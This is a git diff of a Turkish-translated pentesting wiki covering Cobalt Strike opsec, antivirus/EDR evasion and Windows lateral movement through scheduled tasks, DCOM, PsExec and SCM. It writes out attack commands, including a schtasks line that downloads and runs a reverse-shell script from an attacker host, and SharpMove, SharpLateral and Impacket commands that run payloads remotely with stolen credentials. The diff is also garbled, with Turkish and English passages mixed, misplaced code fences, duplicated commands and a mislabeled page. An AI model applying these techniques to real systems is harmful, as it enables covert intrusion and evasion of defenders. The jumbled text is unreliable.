-## AV'lerden Kaçınma +## Opsec -### Artifact Kit +### Execute-Assembly -Genellikle `/opt/cobaltstrike/artifact-kit` içinde, Cobalt Strike'ın ikili beacon'ları oluşturmak için kullanacağı kod ve önceden derlenmiş şablonları ( `/src-common` içinde) bulabilirsiniz. +**`execute-assembly`**, belirtilen programı çalıştırmak için uzaktan süreç enjekte etme kullanarak bir **kurban süreci** kullanır. Bu, belirli Win API'lerin kullanılması nedeniyle çok gürültülüdür ve her EDR bunu kontrol etmektedir. Ancak, aynı süreçte bir şey yüklemek için kullanılabilecek bazı özel araçlar vardır: -Oluşturulan arka kapı (veya sadece derlenmiş şablon) ile [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanarak, defender'ı tetikleyen şeyi bulabilirsiniz. Genellikle bir dizedir. Bu nedenle, arka kapıyı oluşturan kodu değiştirerek o dizeyi son ikili dosyada görünmeyecek şekilde değiştirebilirsiniz. +- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) +- Cobalt Strike'da BOF (Beacon Object Files) kullanabilirsiniz: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) + +Agressor script `https://github.com/outflanknl/HelpColor`, Cobalt Strike'da `helpx` komutunu oluşturacak ve bu komut, BOF'lar (yeşil), Frok&Run (sarı) ve benzeri olup olmadığını veya Süreç Yürütme, enjekte etme veya benzeri olup olmadığını belirten renkler koyacaktır. Bu, hangi komutların daha gizli olduğunu bilmeye yardımcı olur. + +### Kullanıcı olarak hareket et + +`Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` gibi olayları kontrol edebilirsiniz: + +- Güvenlik EID 4624 - Alışılmış çalışma saatlerini bilmek için tüm etkileşimli oturum açmaları kontrol edin. +- Sistem EID 12,13 - Kapatma/açma/uyku sıklığını kontrol edin. +- Güvenlik EID 4624/4625 - Geçerli/geçersiz NTLM denemelerini kontrol edin. +- Güvenlik EID 4648 - Bu olay, düz metin kimlik bilgileri kullanılarak oturum açıldığında oluşturulur. Eğer bir süreç bunu oluşturduysa, ikili dosya muhtemelen kimlik bilgilerini düz metin olarak bir yapılandırma dosyasında veya kodun içinde barındırmaktadır. + +Cobalt Strike'dan `jump` kullanırken, yeni sürecin daha meşru görünmesi için `wmi_msbuild` yöntemini kullanmak daha iyidir. + +### Bilgisayar hesaplarını kullanın + +Savunucuların kullanıcılar tarafından üretilen garip davranışları kontrol etmesi yaygındır ve **hizmet hesaplarını ve bilgisayar hesaplarını izlemelerinden hariç tutarlar**. Bu hesapları lateral hareket veya ayrıcalık yükseltme yapmak için kullanabilirsiniz. + +### Stageless yükleri kullanın + +Stageless yükler, ikinci bir aşamayı C2 sunucusundan indirmeleri gerekmediği için staged olanlardan daha az gürültülüdür. Bu, ilk bağlantıdan sonra herhangi bir ağ trafiği oluşturmadıkları anlamına gelir ve bu da ağ tabanlı savunmalar tarafından tespit edilme olasılıklarını azaltır. + +### Token'lar ve Token Deposu + +Token çalarken veya oluştururken dikkatli olun çünkü bir EDR'nin tüm thread'lerin token'larını listelemesi ve **farklı bir kullanıcıya veya hatta SYSTEM'a ait bir token bulması** mümkün olabilir. + +Bu, token'ları **her beacon için** depolamayı sağlar, böylece aynı token'ı tekrar tekrar çalmaya gerek kalmaz. Bu, lateral hareket veya çalınan bir token'ı birden fazla kez kullanmanız gerektiğinde yararlıdır: + +- token-store steal +- token-store steal-and-use +- token-store show +- token-store use +- token-store remove +- token-store remove-all + +Lateral hareket ederken, genellikle **yeni bir token oluşturmak yerine bir token çalmak daha iyidir** veya hash geçişi saldırısı gerçekleştirmek. + +### Guardrails + +Cobalt Strike, savunucular tarafından tespit edilebilecek belirli komutların veya eylemlerin kullanılmasını önlemeye yardımcı olan **Guardrails** adlı bir özelliğe sahiptir. Guardrails, `make_token`, `jump`, `remote-exec` gibi lateral hareket veya ayrıcalık yükseltme için yaygın olarak kullanılan belirli komutları engellemek üzere yapılandırılabilir. + +Ayrıca, [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) deposu, bir yükü çalıştırmadan önce göz önünde bulundurabileceğiniz bazı kontroller ve fikirler içermektedir. + +### Bilet şifrelemesi + +AD'de biletlerin şifrelemesine dikkat edin. Varsayılan olarak, bazı araçlar Kerberos biletleri için RC4 şifrelemesi kullanır, bu da AES şifrelemesinden daha az güvenlidir ve varsayılan olarak güncel ortamlar AES kullanır. Bu, zayıf şifreleme algoritmalarını izleyen savunucular tarafından tespit edilebilir. + +### Varsayılanlardan Kaçının + +Cobalt Strike kullanırken varsayılan olarak SMB boruları `msagent_####` ve `"status_####` adını alacaktır. Bu isimleri değiştirin. Cobalt Strike'dan mevcut boruların isimlerini kontrol etmek için şu komutu kullanabilirsiniz: `ls \\.\pipe\` + +Ayrıca, SSH oturumları ile `\\.\pipe\postex_ssh_####` adında bir boru oluşturulur. Bunu `set ssh_pipename "";` ile değiştirin. + +Ayrıca, poext exploitation saldırısında `\\.\pipe\postex_####` boruları `set pipename ""` ile değiştirilebilir. + +Cobalt Strike profillerinde ayrıca şunları değiştirebilirsiniz: + +- `rwx` kullanmaktan kaçınmak +- Süreç enjekte etme davranışının nasıl çalıştığı (hangi API'lerin kullanılacağı) `process-inject {...}` bloğunda +- "fork and run"ın nasıl çalıştığı `post-ex {…}` bloğunda +- Uyku süresi +- Belleğe yüklenecek ikililerin maksimum boyutu +- Bellek ayak izi ve DLL içeriği `stage {...}` bloğunda +- Ağ trafiği + +### Bellek taramasını atlatma + +Bazı EDR'ler, bazı bilinen kötü amaçlı yazılım imzalarını taramak için belleği tarar. Cobalt Strike, arka kapıyı bellekte şifreleyebilecek `sleep_mask` fonksiyonunu bir BOF olarak değiştirmeyi sağlar. + +### Gürültülü süreç enjekte etme + +Bir sürece kod enjekte ederken bu genellikle çok gürültülüdür, çünkü **normal bir süreç genellikle bu eylemi gerçekleştirmez ve bunu yapmanın yolları çok sınırlıdır**. Bu nedenle, davranış tabanlı tespit sistemleri tarafından tespit edilebilir. Ayrıca, EDR'ler, **diskte olmayan kod içeren thread'leri tarayarak da tespit edebilir** (ancak tarayıcılar gibi JIT kullanan süreçler bunu genellikle yapar). Örnek: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) + +### Spawnas | PID ve PPID ilişkileri + +Yeni bir süreç başlatırken, tespiti önlemek için **normal bir ebeveyn-çocuk** ilişkisini sürdürmek önemlidir. Eğer svchost.exec iexplorer.exe'yi çalıştırıyorsa, bu şüpheli görünecektir, çünkü svchost.exe normal bir Windows ortamında iexplorer.exe'nin ebeveyni değildir. + +Cobalt Strike'da yeni bir beacon başlatıldığında varsayılan olarak **`rundll32.exe`** kullanan bir süreç oluşturulur. Bu çok gizli değildir ve EDR'ler tarafından kolayca tespit edilebilir. Ayrıca, `rundll32.exe` herhangi bir argüman olmadan çalıştırılır, bu da onu daha da şüpheli hale getirir. + +Aşağıdaki Cobalt Strike komutuyla, yeni beacon'ı başlatmak için farklı bir süreç belirleyebilir, bu da onu daha az tespit edilebilir hale getirir: +```bash +spawnto x86 svchost.exe +``` +**`spawnto_x86` ve `spawnto_x64`** ayarını bir profilde değiştirebilirsiniz. + +### Saldırganların trafiğini proxyleme + +Saldırganlar bazen araçları yerel olarak çalıştırabilmek için, hatta Linux makinelerinde bile, kurbanların trafiğinin araca ulaşmasını sağlamaları gerekir (örneğin NTLM relay). + +Ayrıca, bazen bir pass-the-hash veya pass-the-ticket saldırısı yapmak için saldırganın **bu hash veya bileti kendi LSASS sürecine** yerel olarak eklemesi ve ardından bunun üzerinden geçiş yapması, bir kurban makinesinin LSASS sürecini değiştirmekten daha gizli olabilir. + +Ancak, **oluşturulan trafikle dikkatli olmalısınız**, çünkü arka kapı sürecinizden alışılmadık bir trafik (kerberos?) gönderiyor olabilirsiniz. Bunun için bir tarayıcı sürecine geçiş yapabilirsiniz (ancak bir sürece kendinizi enjekte ederken yakalanma riski taşıdığınız için bunu gizli bir şekilde yapmayı düşünün). +```bash + +### Avoiding AVs + +#### AV/AMSI/ETW Bypass + +Check the page: + +{{#ref}} +av-bypass.md +{{#endref}} + + +#### Artifact Kit + +Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. + +Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary. + +After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`. -Kodu değiştirdikten sonra, aynı dizinden `./build.sh` komutunu çalıştırın ve `dist-pipe/` klasörünü Windows istemcisinde `C:\Tools\cobaltstrike\ArtifactKit` içine kopyalayın. ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` -Aggressive script `dist-pipe\artifact.cna` dosyasını yüklemeyi unutmayın, böylece Cobalt Strike'ın istediğimiz disk kaynaklarını kullanmasını ve yüklü olanları kullanmamasını belirtebiliriz. -### Resource Kit +Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. -ResourceKit klasörü, Cobalt Strike'ın script tabanlı yükleri için PowerShell, VBA ve HTA dahil olmak üzere şablonları içerir. +#### Resource Kit + +The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. + +Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it: -Şablonlarla birlikte [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanarak, defender'ın (bu durumda AMSI) beğenmediği şeyleri bulabilir ve bunu değiştirebilirsiniz: ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` -Tespit edilen satırları değiştirerek yakalanmayacak bir şablon oluşturabilirsiniz. -Cobalt Strike'a kullanmak istediğimiz kaynakları diskten yüklemesi için `ResourceKit\resources.cna` agresif betiğini yüklemeyi unutmayın, yüklü olanları değil. +Modifying the detected lines one can generate a template that won't be caught. + +Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. + +#### Function hooks | Syscall + +Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other. + +This can be set in the profile or suing the command **`syscall-method`** + +However, this could also be noisy. + +Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof). + +You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector) + + + + ```bash -cd C:\Tools\neo4j\bin -neo4j.bat console -http://localhost:7474/ --> Change password -execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL +cd C:\Tools\neo4j\bin +neo4j.bat console +http://localhost:7474/ --> Şifreyi değiştir +execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL +# PowerShell'i değiştir +C:\Tools\cobaltstrike\ResourceKit +template.x64.ps1 +# $var_code -> $polop +# $x --> $ar +cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna - -# Change powershell -C:\Tools\cobaltstrike\ResourceKit -template.x64.ps1 -# Change $var_code -> $polop -# $x --> $ar -cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna - -#artifact kit -cd C:\Tools\cobaltstrike\ArtifactKit +#artifact kit +cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . - - ``` - diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index f20c22541..fe8b78421 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -10,6 +10,8 @@ Dış sistemlerde komutları çalıştırmanın farklı yolları vardır, burada - [**AtExec / SchtasksExec**](atexec.md) - [**WinRM**](winrm.md) - [**DCOM Exec**](dcom-exec.md) +- [**RDPexec**](rdpexec.md) +- [**SCMexec**](scmexec.md) - [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud) - [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud) - [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud) diff --git a/src/windows-hardening/lateral-movement/atexec.md b/src/windows-hardening/lateral-movement/atexec.md index 439556cf2..982aed760 100644 --- a/src/windows-hardening/lateral-movement/atexec.md +++ b/src/windows-hardening/lateral-movement/atexec.md @@ -4,7 +4,7 @@ ## Nasıl Çalışır -At, kullanıcı adı/(şifre/Hash) bildiğiniz hostlarda görevleri planlamanıza olanak tanır. Böylece, diğer hostlarda komutlar çalıştırmak ve çıktıyı almak için bunu kullanabilirsiniz. +At, kullanıcı adı/(şifre/Hash) bildiğiniz hostlarda görevleri planlamanıza olanak tanır. Bu nedenle, diğer hostlarda komutlar çalıştırmak ve çıktıyı almak için bunu kullanabilirsiniz. ``` At \\victim 11:00:00PM shutdown -r ``` @@ -18,10 +18,18 @@ schtasks /run /tn /S schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` +**Impacket'in `atexec.py`** dosyasını, AT komutunu kullanarak uzak sistemlerde komutlar çalıştırmak için kullanabilirsiniz. Bu, hedef sistem için geçerli kimlik bilgileri (kullanıcı adı ve şifre veya hash) gerektirir. +```bash +atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami +``` Ayrıca [SharpLateral](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` -Daha fazla bilgi için [**schtasks'in gümüş biletlerle kullanımı burada**](../active-directory-methodology/silver-ticket.md#host). +[SharpMove](https://github.com/0xthirteen/SharpMove) kullanabilirsiniz: +```bash +SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password +``` +Daha fazla bilgi için [**schtasks'in silver ticket'larla kullanımı burada**](../active-directory-methodology/silver-ticket.md#host). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcomexec.md similarity index 73% rename from src/windows-hardening/lateral-movement/dcom-exec.md rename to src/windows-hardening/lateral-movement/dcomexec.md index 8f8621afc..353e1a56d 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcomexec.md @@ -4,7 +4,7 @@ ## MMC20.Application -**Bu teknik hakkında daha fazla bilgi için orijinal gönderiyi [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) kontrol edin.** +**Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) adresindeki orijinal gönderiyi kontrol edin.** Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, hem DCOM hem de Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar; DCOM için [buradan](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve COM için [buradan]() erişilebilir. DCOM uygulamalarının bir listesi PowerShell komutu kullanılarak alınabilir: ```bash @@ -12,19 +12,19 @@ Get-CimInstance Win32_DCOMApplication ``` COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklenti işlemlerinin betimlenmesini sağlar. Özellikle, bu nesne `Document.ActiveView` altında bir `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada]() bulunabilir. Çalıştığını kontrol edin: -Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinde komutların yürütülmesini kolaylaştırır. DCOM ile uzaktan admin olarak etkileşimde bulunmak için PowerShell aşağıdaki gibi kullanılabilir: -```powershell +Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinden komutların yürütülmesini kolaylaştırır. DCOM ile uzaktan admin olarak etkileşimde bulunmak için PowerShell aşağıdaki gibi kullanılabilir: +```bash [activator]::CreateInstance([type]::GetTypeFromProgID("", "")) ``` -Bu komut DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. ExecuteShellCommand yöntemi daha sonra uzak ana bilgisayarda bir işlemi yürütmek için çağrılabilir. İşlem aşağıdaki adımları içerir: +Bu komut, DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. ExecuteShellCommand yöntemi daha sonra uzak ana bilgisayarda bir işlemi yürütmek için çağrılabilir. İşlem aşağıdaki adımları içerir: -Yöntemleri kontrol et: -```powershell +Check methods: +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member ``` RCE Elde Et: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com | Get-Member @@ -42,21 +42,26 @@ Açık Launch Permissions eksikliği nedeniyle iki özel nesne, `ShellBrowserWin ### ShellWindows -ProgID'si olmayan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne oluşturmayı kolaylaştırır. Bu süreç, `ShellWindows` için CLSID'yi almak üzere OleView .NET'i kullanır. Oluşturulduktan sonra, `WindowsShell.Item` yöntemi aracılığıyla etkileşim mümkündür ve bu, `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar. +ProgID'si olmayan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne oluşturmayı kolaylaştırır. Bu işlem, `ShellWindows` için CLSID'yi almak üzere OleView .NET'i kullanır. Oluşturulduktan sonra, `WindowsShell.Item` yöntemi aracılığıyla etkileşim mümkündür ve bu, `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar. -Nesneyi oluşturmak ve komutları uzaktan çalıştırmak için örnek PowerShell komutları sağlanmıştır: -```powershell +Nesneyi oluşturmak ve uzaktan komutlar çalıştırmak için örnek PowerShell komutları sağlanmıştır: +```bash +# Example $com = [Type]::GetTypeFromCLSID("", "") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) + +# Need to upload the file to execute +$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100")) +$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7") ``` ### Lateral Movement with Excel DCOM Objects Lateral hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Ayrıntılı bilgi için, DCOM üzerinden lateral hareket için Excel DDE'yi kullanma konusundaki tartışmayı [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) okumanız önerilir. -Empire projesi, DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, RCE için Excel'i istismar etmenin farklı yöntemlerini sergileyen [Empire'ın GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alıntılar bulunmaktadır: -```powershell +Empire projesi, DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'i RCE için istismar etmenin farklı yöntemlerini sergileyen [Empire'ın GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alıntılar bulunmaktadır: +```bash # Detection of Office version elseif ($Method -Match "DetectOffice") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") @@ -88,13 +93,25 @@ Bu teknikleri otomatikleştirmek için iki araç vurgulanmıştır: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- [SharpMove](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` ## Otomatik Araçlar - Powershell betiği [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), diğer makinelerde kod çalıştırmanın tüm yorumlanan yollarını kolayca çağırmanıza olanak tanır. +- Uzak sistemlerde DCOM kullanarak komutlar çalıştırmak için Impacket'in `dcomexec.py` aracını kullanabilirsiniz. +```bash +dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami" +``` - Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- Ayrıca [**SharpMove**](https://github.com/0xthirteen/SharpMove) kullanabilirsiniz. +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` ## Referanslar - [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index c321a8f37..f3ef9df3d 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -1,23 +1,24 @@ -# PsExec/Winexec/ScExec +# PsExec/Winexec/ScExec/SMBExec {{#include ../../banners/hacktricks-training.md}} ## Nasıl çalışırlar -Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının, SMB üzerinden hedef makinede uzaktan yürütme sağlamak için nasıl manipüle edildiğini göstermektedir: +Süreç, aşağıdaki adımlarda özetlenmiştir ve SMB üzerinden hedef makinede uzaktan yürütme sağlamak için hizmet ikililerinin nasıl manipüle edildiğini göstermektedir: -1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir. +1. **Bir hizmet ikilisinin ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir. 2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır. 3. Hizmet **uzaktan başlatılır**. 4. Çıkışta, hizmet **durdurulur ve ikili dosya silinir**. -### **PsExec'i Manuel Olarak Yürütme Süreci** +### **PsExec'i Manuel Olarak Çalıştırma Süreci** -Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş, 'met8888.exe' adında bir yürütülebilir yük (msfvenom ile oluşturulmuş) olduğu varsayıldığında, aşağıdaki adımlar izlenir: +Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük (payload) olduğunu varsayalım, 'met8888.exe' adında, bir meterpreter reverse_http yükünü temsil eden, aşağıdaki adımlar izlenir: - **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir. -- **Bir hizmetin oluşturulması**: Windows `sc` komutu kullanılarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla yüklenen ikili dosyaya işaret edecek şekilde oluşturulur. -- **Hizmetin başlatılması**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir. +- İkili dosyayı kopyalamak yerine, doğrudan argümanlardan komutları yürütmek için `powershell.exe` veya `cmd.exe` gibi bir LOLBAS ikilisi kullanmak da mümkündür. Örneğin, `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"` +- **Bir hizmet oluşturma**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlar, yüklenen ikili dosyaya işaret eden "meterpreter" adında bir hizmet oluşturulur. +- **Hizmeti başlatma**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikilisi olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikilinin yürütülmesidir. Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığını gösterecektir. @@ -25,12 +26,23 @@ Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığı Daha ayrıntılı adımları bulabilirsiniz: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) -**Windows Sysinternals ikilisi PsExec.exe'yi de kullanabilirsiniz:** +- Ayrıca **Windows Sysinternals ikilisi PsExec.exe** kullanabilirsiniz: ![](<../../images/image (928).png>) -Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: +Veya webddav üzerinden erişebilirsiniz: +```bash +\\live.sysinternals.com\tools\PsExec64.exe -accepteula +``` +- Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz: ```bash SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` +- Ayrıca [**SharpMove**](https://github.com/0xthirteen/SharpMove) kullanabilirsiniz: +```bash +SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService +SharpMove.exe action=startservice computername=remote.host.local servicename=TestService +``` +- **Impacket'in `psexec` ve `smbexec.py`**'sini de kullanabilirsiniz. + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/rdpexec.md b/src/windows-hardening/lateral-movement/rdpexec.md new file mode 100644 index 000000000..a37d7117b --- /dev/null +++ b/src/windows-hardening/lateral-movement/rdpexec.md @@ -0,0 +1,15 @@ +# RDPexec + +{{#include ../../banners/hacktricks-training.md}} + +## Nasıl Çalışır + +**RDPexec**, RDP kullanarak sisteme giriş yaparak komutları çalıştırmak için temelde bir yöntemdir. + +Daha fazla bilgi için kontrol edin: + +{{#ref}} +../../network-services-pentesting/pentesting-rdp.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/scmexec.md b/src/windows-hardening/lateral-movement/scmexec.md new file mode 100644 index 000000000..91681dceb --- /dev/null +++ b/src/windows-hardening/lateral-movement/scmexec.md @@ -0,0 +1,15 @@ +# DCOM Exec + +{{#include ../../banners/hacktricks-training.md}} + +## SCM + +**SCMExec**, uzaktan sistemlerde komutları çalıştırmak için Service Control Manager (SCM) kullanarak bir hizmet oluşturma tekniğidir. Bu yöntem, Kullanıcı Hesabı Kontrolü (UAC) ve Windows Defender gibi bazı güvenlik kontrollerini atlayabilir. + +## Tools + +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): + +SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md deleted file mode 100644 index c9c39036a..000000000 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ /dev/null @@ -1,37 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## Nasıl Çalışır - -**Smbexec**, Windows sistemlerinde uzaktan komut yürütmek için kullanılan bir araçtır, 